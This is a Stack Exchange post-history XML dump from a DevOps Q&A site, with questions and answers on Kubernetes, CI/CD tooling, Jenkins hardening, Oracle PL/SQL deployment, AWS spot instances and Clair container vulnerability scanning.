  <row Id="6477" PostHistoryTypeId="2" PostId="2062" RevisionGUID="50199fff-fb00-41d3-9986-bea98b700fd2" CreationDate="2017-09-18T14:12:22.303" UserId="210" Text=" - k8s is a container orchestration tool&#xD;&#xA; - a dockerfile is used to build an image&#xD;&#xA; - k8s is able to run docker containers" ContentLicense="CC BY-SA 3.0" />
  <row Id="6478" PostHistoryTypeId="5" PostId="2062" RevisionGUID="8d3bf152-0a9c-4057-ad4d-e6f751b42333" CreationDate="2017-09-18T14:18:30.847" UserId="210" Comment="added 576 characters in body" Text=" - k8s is a container orchestration tool&#xD;&#xA; - a dockerfile is used to build an image&#xD;&#xA; - k8s is able to run docker containers&#xD;&#xA;&#xD;&#xA;One could use yaml files to [deploy containers][1]:&#xD;&#xA;&#xD;&#xA;&gt;     apiVersion: apps/v1beta1 # for versions before 1.6.0 use extensions/v1beta1&#xD;&#xA;&gt;     kind: Deployment&#xD;&#xA;&gt;     metadata:&#xD;&#xA;&gt;       name: nginx-deployment&#xD;&#xA;&gt;     spec:&#xD;&#xA;&gt;       replicas: 3&#xD;&#xA;&gt;       template:&#xD;&#xA;&gt;         metadata:&#xD;&#xA;&gt;           labels:&#xD;&#xA;&gt;             app: nginx&#xD;&#xA;&gt;         spec:&#xD;&#xA;&gt;           containers:&#xD;&#xA;&gt;           - name: nginx&#xD;&#xA;&gt;             image: nginx:1.7.9&#xD;&#xA;&gt;             ports:&#xD;&#xA;&gt;             - containerPort: 80&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/concepts/workloads/controllers/deployment/" ContentLicense="CC BY-SA 3.0" />
  <row Id="6479" PostHistoryTypeId="2" PostId="2063" RevisionGUID="45cb696c-cb5b-42b6-b62b-38bede7ccd86" CreationDate="2017-09-18T14:19:53.260" UserId="707" Text="For example, to play with Docker Swarm in a way which makes sense you need 2 or better 3 hosts, right?&#xD;&#xA;&#xD;&#xA;What is that number for K8S?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6480" PostHistoryTypeId="1" PostId="2063" RevisionGUID="45cb696c-cb5b-42b6-b62b-38bede7ccd86" CreationDate="2017-09-18T14:19:53.260" UserId="707" Text="What is a minimal number of hosts for an experimental Kubernetes cluster?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6481" PostHistoryTypeId="3" PostId="2063" RevisionGUID="45cb696c-cb5b-42b6-b62b-38bede7ccd86" CreationDate="2017-09-18T14:19:53.260" UserId="707" Text="&lt;kubernetes&gt;&lt;infrastructure&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6482" PostHistoryTypeId="2" PostId="2064" RevisionGUID="ddc0c65d-40bc-4774-8c3a-e890cf9316c4" CreationDate="2017-09-18T14:22:55.943" UserId="13" Text="I'd say the minimal viable configuration to test and get a good overview of pod placement would be 5 machines, 2 masters and 3 nodes.  &#xD;&#xA;This allow to play with a master failure, placement of multiple pods &quot;streched&quot; across the cluster, etc." ContentLicense="CC BY-SA 3.0" />
  <row Id="6483" PostHistoryTypeId="2" PostId="2065" RevisionGUID="fe0c510b-cf2f-4acc-8846-6e5c19f5baec" CreationDate="2017-09-18T14:25:21.293" UserId="4328" Text="I would say that instead of describing a CI/CD system by the products/tools that you use, you should be describing the system by the purpose of each step in the system. Instead of saying &quot;I have a Jenkins server that builds the artifacts, stores them in Artifactory, then Puppet deploys the artifacts to EC2.&quot; You could say, &quot;Our build server creates and stores our artifacts in an artifact repository. Then our configuration management software detects the artifacts and deploys them to our cloud infrastructure.&quot; Your colleague can then make the connections and find the correct solution that Microsoft provides. " ContentLicense="CC BY-SA 3.0" />
  <row Id="6484" PostHistoryTypeId="4" PostId="2063" RevisionGUID="b3c6289e-8b04-45d5-bc42-9972c5aa1d3f" CreationDate="2017-09-18T14:28:49.523" UserId="707" Comment="edited title" Text="What is a minimal viable number of hosts for an experimental Kubernetes cluster?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6485" PostHistoryTypeId="2" PostId="2066" RevisionGUID="3a37ffa8-3a84-435d-8a13-b3575830f9a0" CreationDate="2017-09-18T14:30:58.987" UserId="4377" Text="I have an Wamp server which host Django application by using windows server. Currently I am deploying everything manually. Now I want apply continuous integration concept to an existing application. Kindly let me what approach should I follow and what technology should I use for this&#xD;&#xA;&#xD;&#xA;Current I am using git as source control&#xD;&#xA;&#xD;&#xA;Thanks  " ContentLicense="CC BY-SA 3.0" />
  <row Id="6486" PostHistoryTypeId="1" PostId="2066" RevisionGUID="3a37ffa8-3a84-435d-8a13-b3575830f9a0" CreationDate="2017-09-18T14:30:58.987" UserId="4377" Text="Approach for adopting continuous integration" ContentLicense="CC BY-SA 3.0" />
  <row Id="6487" PostHistoryTypeId="3" PostId="2066" RevisionGUID="3a37ffa8-3a84-435d-8a13-b3575830f9a0" CreationDate="2017-09-18T14:30:58.987" UserId="4377" Text="&lt;continuous-delivery&gt;&lt;windows&gt;&lt;bitbucket&gt;&lt;python&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6488" PostHistoryTypeId="5" PostId="2066" RevisionGUID="a2522b03-f94a-4210-b0e3-7595c584874e" CreationDate="2017-09-18T14:31:49.340" UserId="707" Comment="added 2 characters in body" Text="I have an Wamp server which host Django application by using windows server. Currently I am deploying everything manually. Now I want apply continuous integration concept to an existing application. Kindly let me what approach should I follow and what technology should I use for this&#xD;&#xA;&#xD;&#xA;Currently I am using git as source control&#xD;&#xA;&#xD;&#xA;Thanks  " ContentLicense="CC BY-SA 3.0" />
  <row Id="6489" PostHistoryTypeId="5" PostId="2066" RevisionGUID="76c22855-2e49-4ecb-bb1c-72f075398386" CreationDate="2017-09-18T14:34:06.723" UserId="210" Comment="deleted 11 characters in body" Text="I have an Wamp server which host Django application by using windows server. Currently I am deploying everything manually. Now I want apply continuous integration concept to an existing application. Kindly let me what approach should I follow and what technology should I use for this&#xD;&#xA;&#xD;&#xA;Currently I am using git as source control." ContentLicense="CC BY-SA 3.0" />
  <row Id="6490" PostHistoryTypeId="2" PostId="2067" RevisionGUID="b91f6c80-97b8-44e2-9845-a7d35f99dee6" CreationDate="2017-09-18T14:38:20.207" UserId="210" Text="As you are already using Bitbucket, [Bitbucket pipelines][1] could be useful.&#xD;&#xA;&#xD;&#xA;&gt; What languages are supported?&#xD;&#xA;&gt; &#xD;&#xA;&gt; Node, Ruby, Python, PHP, and more. Anything you can run in a Docker&#xD;&#xA;&gt; container is supported.&#xD;&#xA;&#xD;&#xA;  [1]: https://bitbucket.org/product/features/pipelines" ContentLicense="CC BY-SA 3.0" />
  <row Id="6493" PostHistoryTypeId="5" PostId="2067" RevisionGUID="ca24f8ad-e59e-4660-9a5c-9197b6dd7a70" CreationDate="2017-09-18T15:17:40.000" UserId="210" Comment="added 160 characters in body" Text="As you are already using Bitbucket, [Bitbucket pipelines][1] could be useful.&#xD;&#xA;&#xD;&#xA;&gt; What languages are supported?&#xD;&#xA;&gt; &#xD;&#xA;&gt; Node, Ruby, Python, PHP, and more. Anything you can run in a Docker&#xD;&#xA;&gt; container is supported.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;&gt; why not jenkins?&#xD;&#xA;&#xD;&#xA;Jenkins could be an option as well. If Bitbucket could trigger Jenkins or Jenkins could check whether there are code changes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://bitbucket.org/product/features/pipelines" ContentLicense="CC BY-SA 3.0" />
  <row Id="6494" PostHistoryTypeId="2" PostId="2068" RevisionGUID="88b0e9a7-ad71-401e-83a2-51dd4c2501e8" CreationDate="2017-09-18T15:56:10.390" UserId="47" Text="A third party app metrics tools is great if it already covers all (or most of) the parameters you want to monitor and it presents the information in a convenient enough manner for your use case - you just need to (find it first and then) learn how to install/use/maintain it and then do that.&#xD;&#xA;&#xD;&#xA;Advantages:&#xD;&#xA;&#xD;&#xA;- avoids the software development and maintenance costs, which can be quite high depending on the capabilities&#xD;&#xA;- can be immediately used, a custom tool needs to be developed first&#xD;&#xA;- technical support (not always great, tho)&#xD;&#xA;- standardisation: if the tool is a popular one - expertise on it can be requested on a job description instead of having to train every user on it&#xD;&#xA;&#xD;&#xA;However there are many cases in which custom development is needed, some already mentioned by Michael: reliability, security/confidentiality, lack of integrations for your custom applications.&#xD;&#xA;&#xD;&#xA;Depending on each particular case, custom development can go from tiny scripts extending the coverage of a third party tool to complex wrappers assembling multiple such tools to achieve the necessary monitoring capabilities&#xD;&#xA;&#xD;&#xA;Such development is not always lightweight:&#xD;&#xA;&#xD;&#xA;- it may require in-depth tool knowledge and/or language expertise outside of your team&#xD;&#xA;- it may need management for heavy/complex or even conflicting dependencies&#xD;&#xA;- the adaptation layers for the tool's actual usage environment may be very heavy&#xD;&#xA;&#xD;&#xA;Sometimes the cost of such development is higher overall than that of developing a custom system.&#xD;&#xA;&#xD;&#xA;Othertimes the functionality actually needed from the third party tools is a relatively small percent of its capability set and the overhead for learning/installing/operating the tool is simply not worthy.&#xD;&#xA;&#xD;&#xA;You guessed it - I wrote my own monitoring tool :)" ContentLicense="CC BY-SA 3.0" />
  <row Id="6495" PostHistoryTypeId="2" PostId="2069" RevisionGUID="5e23c13a-fc7a-4191-9a19-c363217b55b8" CreationDate="2017-09-18T16:19:30.457" UserId="2845" Text="Yes, it is possible, but it takes a bit of work. I assume that the concern with duplicating the database is 1) time and 2) size/storage, otherwise it seems like it would be trivial to spawn databases for testing against. Based on the fact that you are targeting PL/SQL i'm guessing you are working with Oracle.&#xD;&#xA;&#xD;&#xA;You will either need: 1) a smaller-scale dataset that can act as a representative sample of you data which is sufficient for testing all of your corner cases or 2) to clone the *whole* production database. Honestly, I recommend option #2. There are numerous cases where things operate correctly at a smaller scale, but run into issues once scaled up - especially with database data. Ideally, you could store and reply a sample of queries for load testing using a database proxy like ScaleArc (if Oracle won't let you store your queries).&#xD;&#xA;&#xD;&#xA;Saying you need to clone your whole dataset may make me sound like a kook and like it will take forever, but you may find this answer in which I detail a methodology for [cloning multi-terabyte databases in seconds](https://devops.stackexchange.com/questions/742/what-practices-or-tools-enable-continuous-deployment-of-databases/1220#1220) without significantly increasing your storage costs due to duplication and delta-snapshotting useful. Be forewarned, the tech isn't cheap, but if you wanted cheap, you wouldn't be using Oracle. The best way to sell that to your upper management is to prove that the tech is cheaper than the outage/data mangling it would prevent. It's your insurance policy against outages - so how much insurance are you willing to buy?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6496" PostHistoryTypeId="5" PostId="2066" RevisionGUID="fc620047-f360-4ecc-bb49-4ee254f2ff0d" CreationDate="2017-09-18T16:59:31.063" UserId="40" Comment="deleted 1 character in body; edited title" Text="I have an WAMP server which hosts a Django application by using a Windows server.&#xD;&#xA;&#xD;&#xA;Currently I am deploying everything manually. Now I want apply Continuous Integration concepts to an existing application.&#xD;&#xA;&#xD;&#xA;What approach should I follow and what technology should I use for this?&#xD;&#xA;&#xD;&#xA;Currently I am using Git as source control." ContentLicense="CC BY-SA 3.0" />
  <row Id="6497" PostHistoryTypeId="4" PostId="2066" RevisionGUID="fc620047-f360-4ecc-bb49-4ee254f2ff0d" CreationDate="2017-09-18T16:59:31.063" UserId="40" Comment="deleted 1 character in body; edited title" Text="What approach should I follow for adopting continuous integration?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6498" PostHistoryTypeId="2" PostId="2070" RevisionGUID="b140146e-8d7e-49d2-9f40-67be3ce0b020" CreationDate="2017-09-18T18:07:52.383" UserId="4115" Text="The same rules apply to hardening Jenkins as for all other web applications:&#xD;&#xA;&#xD;&#xA;* Put sensitive content behind an authentication/authorization barrier&#xD;&#xA;* Use SSL for transport-layer encryption and verifying the identity of the server&#xD;&#xA;* Restrict network-level access to only networks where clients should be connection from&#xD;&#xA;&#xD;&#xA;Regarding client authn/authz - that's pretty straightforward; there are lots of options with Jenkins for that.  I use a plugin that hooks into my org's Active Directory instance, for example.&#xD;&#xA;&#xD;&#xA;Regarding SSL - while it is possible to configure Jenkins to serve content over HTTPS rather than HTTP ([documentation here](https://wiki.jenkins.io/display/JENKINS/Starting+and+Accessing+Jenkins)), I don't find that to be the easiest way to configure SSL.  I think using a reverse proxy like you mentioned is a better choice.  Nginx and Apache are the two popular options here.  Some reasons for choosing one of these reverse proxies: can take advantage of existing tooling/resources for configuration and certificate management; easier and more flexible to configure to allow for common functionality like forwarding all HTTP traffic to HTTPS, rate limiting, or other QoS features; etc.&#xD;&#xA;&#xD;&#xA;Regarding network-level access control - this highly depends on the infrastructure you're running Jenkins on, but it may consist of host-level firewall rules, network-level ACLs, NATs, AWS security groups, etc. etc.  Generally speaking, standard stuff here - nothing special about Jenkins in this regard." ContentLicense="CC BY-SA 3.0" />
  <row Id="6499" PostHistoryTypeId="2" PostId="2071" RevisionGUID="074017ef-0d0a-40ad-afd8-a3ed284d315b" CreationDate="2017-09-18T19:08:34.190" UserId="4175" Text="From my point of view, you can design microservices just like classes in an application. That is, you are looking for maximum *cohesion* within a service. In other words, all stuff inside one microservice should work together to achieve exactly one well-defined *responsibility*, and no other microservice should have any content for the same responsibility.&#xD;&#xA;&#xD;&#xA;Furthermore, you want to minimize coupling. That is, mainly, that each microservice should have a very well defined interface, and should be easily replacable in the grand scheme of things. This also means making use of concepts like dependency injection and such.&#xD;&#xA;&#xD;&#xA;So as long as you have these two aspects under control - cohesion and coupling - you are fine. The exact separation of concerns (more coarse or more fine-grained) is not *that* important and will likely differ between different applications.&#xD;&#xA;&#xD;&#xA;There are obvious concerns here - for example, it would not make sense to put &quot;Logging&quot; and &quot;GUI&quot; in the same component (ask yourself questions like this: &quot;Would anything else than a GUI use the Logging?&quot; or &quot;Does GUI need to know how Logging is implemented?&quot; or &quot;Does the GUI need to be implemented by the same team that does Logging?&quot; and so on). Another frequent example would be handling of data imports - does that belong into the GUI service just because users usually upload their Excel files through a GUI? Obviously not - you may wish to upload Excel via a REST API or by pulling them from another server in a batch job, etc.&#xD;&#xA;&#xD;&#xA;So, in your example, you best sit down and define the responsibilities for every component. Make sure there are as little overlaps as necessary. This will usually lead to merging of components you thought to be different; or splitting up of components which turn out to have a well-defined border." ContentLicense="CC BY-SA 3.0" />
  <row Id="6500" PostHistoryTypeId="2" PostId="2072" RevisionGUID="a0ff9a12-5b34-4ad1-99d6-5e7f952e1c2e" CreationDate="2017-09-18T19:37:34.103" UserId="4175" Text="This is very easily possible, with no change to any code (neither the PL/SQL code nor your application code, if there is some other application like Java or whatever):&#xD;&#xA;&#xD;&#xA;1. Put all PL/SQL in one (or more) separate Oracle schema. If your application today uses only one &quot;myapp&quot; schema for tables and PL/SQL, then in the future you will have &quot;myapp&quot; (tables, indexes etc.) and &quot;mycode&quot; (or whatever) which *only* contains PL/SQL procedures.&#xD;&#xA;2. In &quot;myapp&quot;, create synonyms for all the objects that now live in &quot;mycode&quot;.&#xD;&#xA;3. In &quot;mycode&quot;, you can create stub tables - i.e., the same tables as in &quot;myapp&quot;, but without any data. You do not need any indexes or whatnot, just the tables. These are only used at compile time; they are especially not used by the optimizer, later.&#xD;&#xA;&#xD;&#xA;That's it for separating your code and data. The next step obviously is to create &quot;mycode2&quot; as a clone of &quot;mycode&quot;, and from then on you simply need to switch the synonyms in &quot;myapp&quot; between those two. You can have as namy code schemas as you want, and switch between them freely with some rather trivial tooling.&#xD;&#xA;&#xD;&#xA;(Setting the proper options, grants, making sure that the PL/SQL uses the tables of the caller instead of the compile unit left as an exercise to the reader... - feel free to ask if anything is really unclear.)" ContentLicense="CC BY-SA 3.0" />
  <row Id="6501" PostHistoryTypeId="5" PostId="2072" RevisionGUID="7aa037eb-08c7-4dc1-b2c8-73ff24860535" CreationDate="2017-09-18T20:05:20.960" UserId="4175" Comment="edited body" Text="This is very easily possible, with no change to any code (neither the PL/SQL code nor your application code, if there is some other application like Java or whatever):&#xD;&#xA;&#xD;&#xA;1. Put all PL/SQL in one (or more) separate Oracle schema. If your application today uses only one &quot;myapp&quot; schema for tables and PL/SQL, then in the future you will have &quot;myapp&quot; (tables, indexes etc.) and &quot;mycode&quot; (or whatever) which *only* contains PL/SQL procedures.&#xD;&#xA;2. In &quot;myapp&quot;, create synonyms for all the objects that now live in &quot;mycode&quot;.&#xD;&#xA;3. In &quot;mycode&quot;, you can create stub tables - i.e., the same tables as in &quot;myapp&quot;, but without any data. You do not need any indexes or whatnot, just the tables. These are only used at compile time; they are especially not used by the optimizer, later.&#xD;&#xA;&#xD;&#xA;That's it for separating your code and data. The next step obviously is to create &quot;mycode2&quot; as a clone of &quot;mycode&quot;, and from then on you simply need to switch the synonyms in &quot;myapp&quot; between those two. You can have as many code schemas as you want, and switch between them freely with some rather trivial tooling.&#xD;&#xA;&#xD;&#xA;(Setting the proper options, grants, making sure that the PL/SQL uses the tables of the caller instead of the compile unit left as an exercise to the reader... - feel free to ask if anything is really unclear.)" ContentLicense="CC BY-SA 3.0" />
  <row Id="6502" PostHistoryTypeId="5" PostId="2071" RevisionGUID="60cf72b6-ed77-44a5-9d84-dc5c064c4793" CreationDate="2017-09-18T20:07:38.867" UserId="4175" Comment="deleted 1 character in body" Text="From my point of view, you can design microservices just like classes in an application. That is, you are looking for maximum *cohesion* within a service. In other words, all stuff inside one microservice should work together to achieve exactly one well-defined *responsibility*, and no other microservice should have any content for the same responsibility.&#xD;&#xA;&#xD;&#xA;Furthermore, you want to minimize coupling. That is, mainly, that each microservice should have a very well defined interface, and should be easily replacable in the grand scheme of things. This also means making use of concepts like dependency injection and such.&#xD;&#xA;&#xD;&#xA;So as long as you have these two aspects under control - cohesion and coupling - you are fine. The exact separation of concerns (more coarse or more fine-grained) is not *that* important and will likely differ between different applications.&#xD;&#xA;&#xD;&#xA;There are obvious concerns here - for example, it would not make sense to put &quot;Logging&quot; and &quot;GUI&quot; in the same component (ask yourself questions like this: &quot;Would anything else than a GUI use the Logging?&quot; or &quot;Does GUI need to know how Logging is implemented?&quot; or &quot;Does the GUI need to be implemented by the same team that does Logging?&quot; and so on). Another frequent example would be handling of data imports - does that belong into the GUI service just because users usually upload their Excel files through a GUI? Obviously not - you may wish to upload Excel via a REST API or by pulling them from another server in a batch job, etc.&#xD;&#xA;&#xD;&#xA;So, in your example, you best sit down and define the responsibilities for every component. Make sure there are as little overlaps as possible. This will usually lead to merging of components you thought to be different; or splitting up of components which turn out to have a well-defined border." ContentLicense="CC BY-SA 3.0" />
  <row Id="6504" PostHistoryTypeId="2" PostId="2073" RevisionGUID="8b194a1e-b2d7-405e-b894-3562f23190b7" CreationDate="2017-09-18T21:31:06.353" UserId="4399" Text="I do R/D work on spot GPU's on AWS and have been, so far, launching them from a 50GB AMI that I create every time I need to shut off the instance. This has been working pretty well, except that startup times/accessing data on the AMI takes a while at first access because the AMI has to be downloaded from S3 and unpacked (I think this is how it works). The reason I need to persist the image is that I want my configuration for python packages, as well as the packages themselves to be persisted, and for data to be saved locally in an uncompressed format. So, I can't just mount an NFS to solve this problem (although all of my data/code resides on an NFS in some format, and I just move the data over to the EBS once launched to decompress it. For some reason EFS is slow with dealing with lots of small files, but thats a separate issue). It seems that EC2 doesn't allow using an EBS volume as root volume for spot instances. Is there a way to achieve the above goals without purchasing the on-demand instance? " ContentLicense="CC BY-SA 3.0" />
  <row Id="6505" PostHistoryTypeId="1" PostId="2073" RevisionGUID="8b194a1e-b2d7-405e-b894-3562f23190b7" CreationDate="2017-09-18T21:31:06.353" UserId="4399" Text="What are some ways of persisting volumes when dealing with spot instances for R/D purposes?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6506" PostHistoryTypeId="3" PostId="2073" RevisionGUID="8b194a1e-b2d7-405e-b894-3562f23190b7" CreationDate="2017-09-18T21:31:06.353" UserId="4399" Text="&lt;amazon-ec2&gt;&lt;amazon-ebs&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6507" PostHistoryTypeId="2" PostId="2074" RevisionGUID="ce65c381-9bc2-46f8-aae9-9fcaa0ac4296" CreationDate="2017-09-18T21:31:44.167" UserId="4322" Text="The conflict is occurring between `ngc` and `webpack`.  When `rimraf aot &amp;&amp; ngc -p ./tsconfig-aot.json` is moved to its own script and executed prior to `test` and `build:prod:aot` then running `test` and `build:prod:aot` with `npm-run-all` will work as expected.  &#xD;&#xA;&#xD;&#xA;Also, running with PowerShell is not necessarily a good idea since it interprets some of the output differently than the Windows shell.  For example, some packages will write out &quot;warnings&quot; to the error stream.&#xD;&#xA;&#xD;&#xA;    &quot;build:prod:aot&quot;: &quot;rimraf aot &amp;&amp; ngc -p ./tsconfig-aot.json&quot;,&#xD;&#xA;    &quot;webpack:prod&quot;: &quot;SET NODE_ENV=production&amp;&amp; webpack&quot;,&#xD;&#xA;    &quot;test&quot;: &quot;SET NODE_ENV=test&amp;&amp; karma start karma.conf.js&quot;,&#xD;&#xA;    &quot;buildAndTest&quot;: &quot;npm-run-all build:prod:aot --parallel test webpack:prod&quot;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6508" PostHistoryTypeId="5" PostId="2066" RevisionGUID="51e2cd5a-2173-4c08-a607-08bf8acbba6e" CreationDate="2017-09-19T02:30:49.540" UserId="4377" Comment="added 102 characters in body" Text="I have an WAMP server which hosts a Django application by using a Windows server.&#xD;&#xA;&#xD;&#xA;Currently I am deploying everything manually. Now I want apply Continuous Integration concepts to an existing application.&#xD;&#xA;&#xD;&#xA;What approach should I follow and what technology should I use for this?&#xD;&#xA;&#xD;&#xA;Which is better server to host Django application by CD in mind&#xD;&#xA;&#xD;&#xA;     is it Puppet,&#xD;&#xA;&#xD;&#xA;           Chef, &#xD;&#xA;&#xD;&#xA;           Jenkins etc&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Currently I am using Git as source control." ContentLicense="CC BY-SA 3.0" />
  <row Id="6510" PostHistoryTypeId="5" PostId="2073" RevisionGUID="e3037b40-549a-49a4-bc8e-487cc0305bc6" CreationDate="2017-09-19T04:44:10.127" UserId="60" Comment="Splitting into paragraphs for readability" Text="I do R&amp;D work on spot GPU's on AWS and have been, so far, launching them from a 50GB AMI that I create every time I need to shut off the instance. This has been working pretty well, except that startup times/accessing data on the AMI takes a while at first access because the AMI has to be downloaded from S3 and unpacked (I think this is how it works). &#xD;&#xA;&#xD;&#xA;The reason I need to persist the image is that I want my configuration for python packages, as well as the packages themselves to be persisted, and for data to be saved locally in an uncompressed format. So, I can't just mount an NFS to solve this problem (although all of my data/code resides on an NFS in some format, and I just move the data over to the EBS once launched to decompress it. &#xD;&#xA;&#xD;&#xA;For some reason EFS is slow with dealing with lots of small files, but thats a separate issue). It seems that EC2 doesn't allow using an EBS volume as root volume for spot instances. &#xD;&#xA;&#xD;&#xA;Is there a way to achieve the above mentioned goals without purchasing the on-demand instance? " ContentLicense="CC BY-SA 3.0" />
  <row Id="6511" PostHistoryTypeId="24" PostId="2073" RevisionGUID="e3037b40-549a-49a4-bc8e-487cc0305bc6" CreationDate="2017-09-19T04:44:10.127" Comment="Proposed by 60 approved by 707, 46 edit id of 444" ContentLicense="CC BY-SA 3.0" />
  <row Id="6512" PostHistoryTypeId="2" PostId="2076" RevisionGUID="693d5dc8-b8a2-4758-90ec-67b2fd81cc37" CreationDate="2017-09-19T06:53:58.137" UserId="707" Text="While the dev team works on a REST service to manage binary data in Cassandra, ops would like to store local blobs directly from shell.&#xD;&#xA;&#xD;&#xA;Is it actually possible via CQL/bash without a Cassandra driver? I could find so far only an [example for Ruby][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/9056494/how-to-store-binary-data-with-cassandra-cql" ContentLicense="CC BY-SA 3.0" />
  <row Id="6513" PostHistoryTypeId="1" PostId="2076" RevisionGUID="693d5dc8-b8a2-4758-90ec-67b2fd81cc37" CreationDate="2017-09-19T06:53:58.137" UserId="707" Text="Cassandra store binary file record via shell" ContentLicense="CC BY-SA 3.0" />
  <row Id="6514" PostHistoryTypeId="3" PostId="2076" RevisionGUID="693d5dc8-b8a2-4758-90ec-67b2fd81cc37" CreationDate="2017-09-19T06:53:58.137" UserId="707" Text="&lt;shell-script&gt;&lt;cassandra&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6515" PostHistoryTypeId="2" PostId="2077" RevisionGUID="04af09dd-ade3-4754-af82-dd06d8a62d32" CreationDate="2017-09-19T07:56:01.997" UserId="210" Text="According to the following documentation it should be possible to integrate [clair][1] with a docker private registry. How to do that?&#xD;&#xA;&#xD;&#xA;&gt; **[Registry Integration][2]**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Clair can be integrated directly into a container registry such that&#xD;&#xA;&gt; the registry is responsible for interacting with Clair on behalf of&#xD;&#xA;&gt; the user. This type of setup avoids the manual scanning of images and&#xD;&#xA;&gt; creates a sensible location to which Clair's vulnerability&#xD;&#xA;&gt; notifications can be propagated. The registry can also be used for&#xD;&#xA;&gt; authorization to avoid sharing vulnerability information about images&#xD;&#xA;&gt; to which one might not have access.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://coreos.com/clair/docs/latest/&#xD;&#xA;  [2]: https://github.com/coreos/clair/blob/master/Documentation/running-clair.md#registry-integration" ContentLicense="CC BY-SA 3.0" />
  <row Id="6516" PostHistoryTypeId="1" PostId="2077" RevisionGUID="04af09dd-ade3-4754-af82-dd06d8a62d32" CreationDate="2017-09-19T07:56:01.997" UserId="210" Text="How to integrate Clair with a docker private registry?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6517" PostHistoryTypeId="3" PostId="2077" RevisionGUID="04af09dd-ade3-4754-af82-dd06d8a62d32" CreationDate="2017-09-19T07:56:01.997" UserId="210" Text="&lt;security&gt;&lt;clair&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6518" PostHistoryTypeId="2" PostId="2078" RevisionGUID="765a989c-bfa8-461e-a0b9-5c030ea22f90" CreationDate="2017-09-19T07:56:48.557" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="6519" PostHistoryTypeId="1" PostId="2078" RevisionGUID="765a989c-bfa8-461e-a0b9-5c030ea22f90" CreationDate="2017-09-19T07:56:48.557" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6520" PostHistoryTypeId="2" PostId="2079" RevisionGUID="f616dfb7-fedf-4ce8-bbab-8668cdf57bf6" CreationDate="2017-09-19T07:56:48.557" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="6521" PostHistoryTypeId="1" PostId="2079" RevisionGUID="f616dfb7-fedf-4ce8-bbab-8668cdf57bf6" CreationDate="2017-09-19T07:56:48.557" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6522" PostHistoryTypeId="2" PostId="2080" RevisionGUID="e87ec205-dd68-428d-9124-2b9c068972ea" CreationDate="2017-09-19T08:55:54.420" UserId="707" Text="Both Docker Registry and Docker Engine have API interfaces.&#xD;&#xA;I consider it should be possible to implement a Docker plugin for this integration to have images scanned for example as somebody pushes them. (side note - Docker registry is an image registry, not container registry).&#xD;&#xA;&#xD;&#xA;This scanner functionality is also possible through the commercial Docker Enterprise edition.&#xD;&#xA;https://docs.docker.com/docker-cloud/builds/image-scan/&#xD;&#xA;&#xD;&#xA;UPD here an example with clair/docker, looks quite simple&#xD;&#xA;http://blog.xebia.com/docker-containers-vulnerability-scan-clair/" ContentLicense="CC BY-SA 3.0" />
  <row Id="6523" PostHistoryTypeId="4" PostId="2077" RevisionGUID="ca675abc-92d5-4387-be25-6255d82c1a06" CreationDate="2017-09-19T09:14:11.107" UserId="707" Comment="edited title" Text="Docker Security Scanning: How to integrate Clair with a docker private registry?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6524" PostHistoryTypeId="6" PostId="2077" RevisionGUID="ca675abc-92d5-4387-be25-6255d82c1a06" CreationDate="2017-09-19T09:14:11.107" UserId="707" Comment="edited title" Text="&lt;security&gt;&lt;clair&gt;&lt;registry&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6525" PostHistoryTypeId="2" PostId="2081" RevisionGUID="3a045aaa-e09c-4446-8d1b-8f64aafda398" CreationDate="2017-09-19T09:24:10.140" UserId="210" Text="[This clair documentation][1] indicates that a number of tools should be able to scan images:&#xD;&#xA;&#xD;&#xA;clair-scanner&#xD;&#xA;&#xD;&#xA;reg&#xD;&#xA;&#xD;&#xA;klar&#xD;&#xA;&#xD;&#xA;clairctl&#xD;&#xA;&#xD;&#xA;analyze-local-images&#xD;&#xA;&#xD;&#xA;All of them have been tried, but none of them seems to work. All kind of issues occurred, including this:&#xD;&#xA;&#xD;&#xA;    2017-09-19 11:11:23.022625 I | Analyzing faild: Could not analyze layer: &#xD;&#xA;    Got response 400 with message {&quot;Error&quot;:{&quot;Message&quot;:&quot;could not find layer&quot;}}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/coreos/clair/blob/master/Documentation/integrations.md" ContentLicense="CC BY-SA 3.0" />
  <row Id="6526" PostHistoryTypeId="1" PostId="2081" RevisionGUID="3a045aaa-e09c-4446-8d1b-8f64aafda398" CreationDate="2017-09-19T09:24:10.140" UserId="210" Text="What tool is able to analyze images by connecting to clair?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6527" PostHistoryTypeId="3" PostId="2081" RevisionGUID="3a045aaa-e09c-4446-8d1b-8f64aafda398" CreationDate="2017-09-19T09:24:10.140" UserId="210" Text="&lt;security&gt;&lt;clair&gt;" ContentLicense="CC BY-SA 3.0" />
